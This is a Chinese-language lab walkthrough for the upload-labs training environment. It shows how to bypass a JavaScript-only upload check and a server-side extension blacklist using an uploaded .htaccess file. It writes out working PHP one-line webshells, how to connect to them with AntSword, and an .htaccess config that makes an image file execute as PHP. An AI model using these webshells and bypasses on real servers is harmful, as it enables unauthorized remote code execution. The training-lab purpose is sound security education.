(1)客户端绕过练习 (2)服务端黑名单绕过:给出.htaccess文件绕过的具体步骤
一、实验环境
软件名称 | 版本 | 部署方式 | IP |
---|---|---|---|
upload-labs | latest | docker run -d -p 8081:80 –name upload-labs cuer/upload-labs | 172.31.5.7 |
二、客户端绕过
2.1 源码分析
浏览器访问 http://172.31.5.7:8081/Pass-01,选择Pass-01
直接上传php后缀的文件a.php会被拒绝
点击右上角显示源码:
分析源码可知,此文件上传类型是通过前端js进行限制,因此可通过禁用浏览器的js来绕过
2.2 禁用浏览器js
google浏览器:设置——隐私与安全性——网站设置——JavaScript——不允许网站使用JavaScript(也可通过添加白名单的方式,不影响浏览器正常使用)
2.3 上传木马
准备一句话木马文件a.php,内容:
<?php eval(@$_GET['a']);?>
刷新后,再次上传a.php文件成功
右键上传的文件获取图片地址:http://172.31.5.7:8081/upload/a.php
浏览器访问 http://172.31.5.7:8081/upload/a.php?a=phpinfo();
成功植入一句话木马:
2.2 蚁剑连接
重新上传一句话木马shell.php,内容:
<?php eval(@$_POST['passwd']);?>
使用蚁剑连接一句话木马(密码为一句话木马内容中的参数passwd)
三、htaccess文件绕过
3.1 漏洞原理
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:
网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。上传.htaccess文件,来绕过黑名单。
前提条件
1.mod_rewrite模块开启。
2.AllowOverride All
Upload-labs(Pass-04)源码分析,这个比03增加了黑名单量。但是,中间件为Apache的情况下,黑 名单未校验htaccess文件,导致可上传htaccess文件,绕过黑名单检测。
源码如下:
由于.htaccess还是没有过滤,可以重写文件解析规则绕过,上传一个 .htaccess。文件中配置可使得当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。
我们需要先准备好两个文件( .htaccess 和 test.jpg)注意:.htaccess文件名就是 .htaccess ,不能修改为其它名称。该文件在windows如果不能直接修改名称,可打开记事本编辑后,选择另存为(保存类型:所有类型)即可生成。或者参考网上其它方式
.htaccess:
<FilesMatch "test.jpg"> Sethandler application/x-httpd-php </FilesMatch> <IfModule mime_module> SetHandler application/x-httpd-php </IfModule>
test.jpg
<?php @eval($_POST["passwd"]);?>